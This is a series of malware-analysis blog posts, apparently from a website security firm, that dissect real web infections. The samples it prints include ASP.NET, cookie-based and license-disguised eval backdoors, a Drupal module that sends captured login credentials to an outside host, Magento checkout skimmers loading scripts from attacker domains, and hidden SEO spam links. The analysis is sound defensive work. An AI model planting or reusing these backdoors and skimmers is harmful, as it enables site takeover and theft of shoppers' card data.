Backdoors can be simple and powerful at the same time. They’re also very common to be seen along with any kind of infection so that an attacker can get unauthorized access to the server and, although you try to clean the whole malicious content from your website, they can be used to reinfect it again and again.

Here is a small example of an ASP.NET backdoor in a website running on IIS:

<script runat="server" language="JScript">function popup(str) {var q = "u";var w = "afe";var a = q + "ns" + w;var b= eval(str,a);return(b);}</script>

The code above executes whatever command you pass as argument through the str parameter. Note that the eval function is using a second parameter, which is "unsafe”, so the eval method can be executed in the same security context as the calling code.

The code above doesn’t do much alone. The declared popup function must be used somewhere. Indeed, if you scroll down the file you will see a small piece of code trying to hide itself

popup(popup(System.Text.Encoding.Default.GetString(System.Convert.FromBase64String(&quoteUmVxdWVzdC5JdGVtWyJzeW15aGsiXQ=="))));

You can see that the popup function is being called twice. The inner call retrieves the value of the symyhk request parameter ( Request.Item["symyhk"] is the base64 encoded part). The outer call executes the code passed in the symyhk parameter.

This technique is used to reinfect ASP websites and, in the case where we got this code from, the main default.asp was being overwritten with spam. No matter how many times the default.asp was restored, the malicious code would reappear in the file until the backdoor was removed. If you need help cleaning it up and protecting your website, let us know.

We see a strong trend in hacking ecommerce sites in order to hijack payment process and steal customers credit card details. During the last couple of years, we wrote multiple times about attacks that target Magento, OpenCart, PrestaShop, Woo Commerce and other ecommerce platforms.

Recently we found one more proof of increased attention to ecommerce sites from hackers. On one hacked WordPress site, among other uploaded backdoors, we found quite a big script (>600 lines of code) script whose only purpose was to scan the compromised server for online shop sites

$start_from = ReqParamPost('start');$last       = ReqParamPost('last');$sca = new ShopSearcher( AbsDir(), 10, $start_from, $last, 9.0, 25 );$ret = $sca->Scan();echo MakeResponseStr($ret);

This script scans the server account for file patterns of known ecommerce platforms and then displays paths and types of the found online stores. The current version of the script detects the following 11 platforms:

• 1. OpenCart
• 2. osCommerce
• 3. Magento
• 4. PrestaShop
• 5. ZenCart
• 6. CS-Cart
• 7. WooCommerce
• 8. WP Marketplace plugin
• 9. X-Cart
• 10. Interspire Shopping Cart
• 11. WP Checkout plugin

Interesting enough, for Woo Commerce sites this script also checks the number of registered users and if the number is lower than 200, the site doesn’t make it in the list of found ecommerce sites.

$nu = WPDB_QueryNumUsers($fn_wp_config);            if ( $nu >= 200 ){    $this->mFoundShit []= array(6, $pAbsFile);}else{    LogAdd("Ignoring WOO-COMMERCE.. Not enough users ($nu)");}

If you own an ecommerce site, the site security should be one of your priorities. If it is hacked, virtually nothing can stop hackers from stealing your customer’s payment details (especially if you hast payment forms on your own site). We always advised against hosting different sites under the same hosting account as this setup leads to infection of all the sites if only one of them has a security hole. This ShopSearcher script once again proves that you should isolate your ecommerce site from your rest sites. Proper isolation will reduce the attack surface and even if the site gets hacked, the subsequent cleanup and hardening will be much easier.

The checkout process is one of the most important steps for any e-commerce business. The user experience during this process will set the tone for the entire interaction and fortunately lead to a successful sale. Because of that fact, attackers have been targeting Magento installations in order to steal sensitive information (credit card data, paypal logins) and in this case, promote websites for their monetary gains.

During our malware investigation process, we found an interesting piece of code redirecting users during the checkout process to a page not intended by the website owner. After selecting the products and clicking on the “Proceed to checkout” the user was redirected to: hxxp://bestdealsweek[.]com

The malicious code was located inside "/js/varien/accordion.js" and here is the content (obfuscated):

var x="'%kVg'%YZaVn'%(9'%&%%(7%6'%'%hZiI^bZdji'-''YdXjbZci#adXVi^dc#]gZ[(9',]iie(6$$WZhiYZVahlZZ`#Xdb','''8'%YZaVn'.(7",y="",w="",z;z=x['length'];
for(i=0;i<z;i++){y+=String'fromCharCode' }w=this'unescape';this'eval';

This particular file in addition to "/skin/frontend/base/default/js/opcheckout.js" create a Javascript Layer responsible for submitting step data to the checkout controller and interpreting controller responses to update the content of the checkout steps. This layer allows the checkout process to be completed without the browser having to load every request in a new page.

This is how the accordion.js was injected into the One Page checkout:

<script type="text/javascript"src="hxxps://domain/js/varien/accordion.js"></script> 

After decoding it, we can see the redirect:

var delay = 100;setTimeout("document.localtion.href='hxxp://bestdealsweek.com'",delay);

This is one of the many injection techniques attackers have been using against Magento e-commerce sites to make a profit. To reduce the risks of such injections, we recommend keeping all software updated (themes, plugins, core files), using a Website Application Firewall, having a File Integrity Monitoring system to detect file modifications and taking regular backups.

We recently wrote about a Drupal black-hat SEO hack that among other things redirected users coming from Google to botscache[.]com site. It hijacked the bootstrapping process via the session_inc variable in database, then made Drupal load a malicious file from the global /tmp directory instead of the standard includes/session.inc file.

This malware evolves and we have found its new variation. Again, the only malicious code that could be found within the site structure was just a file name. This time it was in the system table and it was the name of the file to load a Drupal module from. However, the file had a .jpg extension and it was loaded from a directory that belonged to a different website under the same server account ../otherwebsite/sites/default/files/slides/Search.jpg.

Taking a look at that Search.jpg file we can see the following code:

pre>if(isset($_POST["gbdc"])){@'val($_POST["gbdc"])', 'add');exit;}function drupal_get_urlsc_callback_url($url) { ... return $file_contents; }if(isset($_POST['op'])&&$_POST['op']=='Log in'){ ... if(user_authenticate(@$_POST['name'],@$_POST['pass'])){ $args_result_url=base64_decode("aHR0cDovLzB4MHguY28vcC5waHA/dT0=").base64_encode(@$_POST['name']); $args_result_url.="&p=".base64_encode(@$_POST['pass'])."&url="....; drupal_get_urlsc_callback_url($args_result_url); }}if(empty($_COOKIE) && preg_match('/.google.|.aol.com|.ask.com/i',@$_SERVER["HTTP_REFERER"])) { header("location:http://botscache[.]com/n.php?".$_SERVER["HTTP_HOST"]....); exit;}if(empty($_COOKIE) && $_SERVER["REQUEST_URI"]=='/google4a4791b250e72fd1.html'){ echo 'google-site-verification: google4a4791b250e72fd1.html'; exit;}

The functionality is pretty much the same: backdoor to execute arbitrary code, botscache[.]com redirection of the search engine traffic (Air Jordan replica spam) and malicious Google Search Console verification. However, this variation also add the functionality to steal Drupal credentials. When someone submits a login form, the malicious module verifies that the credentials are valid and sends them to their own site 0x0x[.]co (the domain name is base64-encoded).

This Drupal malware demonstrates that infection is not always limited to the site itself. You may not find anything suspicious if you scan only the site directory. The actual malware may be anywhere on the server: in publicly writable directories like /tmp and /var/tmp, inside neighbor sites that share the same server account, etc. If one of your sites is hacked, don’t limit the cleanup to this site only. You should always scan all the sites you have on the same server - all the sites may be infected and some of them may have backdoors and malicious files lurking, leading to recurring infections.

This infection also reminds us about the importance of changing passwords after every site hack. It’s always a good idea to restrict access to CMS admin area. Two factor authentication and/or IP whitelist will stop hackers even if they managed to steal your credentials. You can do it on your own server or place your site behind a website firewall and have it block unwanted logins.

Malware uses encryption, obfuscation and other tricks to prevent its detection so that the compromised sites stay infected for as long as possible. Quite often it’s not easy to spot a malicious code even if you see it, especially if you are not a professional programmer or security analysts.

But sometimes, the malware is very straightforward. For example, we found this backdoor installer in file called robots.php in one WordPress theme. It doesn’t use any encryption, has properly indented code and very clear descriptive variable name and comments. You shouldn’t think twice when you see such a code:

class Searcher
{
    private $backdoor;
...
    private $backdoorName = 'gpl_license.php';
...
    public function __construct($backdoor)
    {
        $this->backdoor = $backdoor;
    }
...
    $this->chooseDirsForBackdoor();
    while ($this->hasUnconfirmedBackdoors()) {
        $this->addBackdoors();
        $this->checkBackdoors();
    };
...

However this file is only used at early stages of infections when attackers just got access to a vulnerable website and managed to upload this file to the server. Then they use this backdoor installer to create multiple backdoors (gpl_license.php in this case) in various directories. That gpl_license.php backdoor is much more obscure and you might even confuse it with a real license file as if you quickly scroll it, you will only see a real GNU GPL license

<?php /*            GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007
...

Only if you carefully inspect the file you will notice that It’s actually a PHP file and the license text is inside the multiline comment. However, inside the license text, there are two short comment breaks that contain PHP code that allows to execute arbitrary code passed in HTTP cookies:

...
giving you */extract($_COOKIE);/* copy, distribute and/or modify it.
...
which are not */@$F&&@$F($A,$B);/*.  For example, Corresponding Source
...

These two backdoors that use completely different approaches to obfuscation are part of the same attack, which proves that you can never tell what a typical backdoor is and what exactly webmasters should be searching for when we say that they should find and remove all backdoors. Actually, backdoors are the most versatile type of website malware. We have more than a thousand samples of different backdoors and still we find new variations every day. Probably, the most efficient way to detect backdoors is a file integrity monitoring that will report all added/modified files regardless of the code that was added. If you don’t use such a monitoring and want make sure you didn’t miss any backdoors on your server, you can have us scan your site for thousands of different malware patterns.

Lately we’ve been analysing multiple credit card stealers for Magento. We are seeing an increase trend there as attackers can more easily monetize a compromised e-commerce site compared to one without credit card data.

This new variation the CC stealer isn’t injected directly into the website but loaded from an external source. Loading the code from another source allows the attacker to perform any modifications in the malware source code without the need of “reinfecting” the site.

Here is a snippet of the code that we found inside Magento's /js/lib/ccard.js

...<!-- Google Code for Remarketing Tag -->if((new RegExp('onepage|checkout|onestep|firecheckout')).test(window.location)){document.write('<script src="hxxps://jquery -cdn .top/mage .js"></script>')};<!-- Google Code for Remarketing Tag -->

Basically this javascript acts like a man-in-the-middle between the user and the checkout process/page and whenever a credit card information is provided, it allows the original processing from the CMS but at the same time it forwards the data to a malicious domain at hxxps://jquery-cdn . top/ mag.php.

We also found a slightly different version of the malicious code inside /js/scriptaculous/effects.js:

if((new RegExp('onepage|checkout|onestep|fircheckout')).test(window.location)) {document.write('>tpircs/<>"sj.egam/ue.todstats//:spxxh"=crs tpircs<'.split("").reverse().join(""))}

Putting the code in a readable format we get:

if ((new RegExp('onepage|checkout|onestep|firecheckout')).test(window.location)) {   document.write('<script src="hxxps:// statsdot. eu/mage.js"></script>)}

In this case, the script uses the domain hxxps:// statsdot. eu to load the javascript and it sends the credit card data over to hxxps://statsdot .eu /mag.php

Interesting point about these domains is that attackers are sending the stolen information through secure channels (https). And, even though the credit card information isn’t processed directly at your shop, it’s very important to ensure that your website is updated and has the latest patches installed.

Moreover, in order to detect, mitigate and prevent such issues from happening, we also recommend having a Website Application Firewall (WAF) in place, keeping regular backups and using a File Integrity Monitoring tool to ensure the integrity of your file system.

We at Sucuri, always stress the risks associated with using themes, plugins or any add-on downloaded from unofficial sources (Nulled Versions). During our investigation process, we found into a theme, a malicious code being used to promote an external website and possibly generate revenue to the “developer” without user’s consent. Inside the downloaded package there were lots of files named index.php and default.php throughout different folders. Those files contained the following base64 code:

 <?php $wfk='PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDotOTk5OXB4OyI+CjxhIGhyZWY9Imh0dHA6Ly9qb29tbGE0ZXZlci5ydS9ib3d0aGVtZXMvMjI4Ny1idC1waG90b2dyYXBoeS5odG1sIiB0aXRsZT0iQlQgUGhvdG9ncmFwaHkgLSDRiNCw0LHQu9C+0L0gam9vbWxhIiB0YXJnZXQ9Il9ibGFuayI+QlQgUGhvdG9ncmFwaHkgLSDRiNCw0LHQu9C+0L0gam9vbWxhPC9hPgo8YSBocmVmPSJodHRwOi8vYWxsLWJvb2submV0LyIgdGl0bGU9ItCa0L3QuNCz0LgiIHRhcmdldD0iX2JsYW5rIj7QmtC90LjQs9C4PC9hPgo8L2Rpdj4='; echo base64_decode($wfk); ?>

Decoding it into a human-readable format, we got these “invisible” malicious links:

<div style="position:absolute;top:0;left:-9999px;"><a href="hxxp://joomla4ever .ru/bowthemes/2287-bt-photography.html" title="BT Photography - шаблон joomla" target="_blank">BT Photography - шаблон joomla</a><a href="hxxp://all-book .net/" title="Книги" target="_blank">Книги</a></div>

This kind of infection is commonly injected into Nulled components for different CMS’s and are designed specifically to damage the SEO positioning of a website due to the arbitrary links as well as promoting a particular website with intent to generate revenue for the “developers”.

To reduce the risks, we always recommend downloading any add-on (themes, plugins, extensions) for your site directly from the official source because you never know which extra “feature” you are getting from those “alternative” versions.

You may find more information related to this infection here, here and here.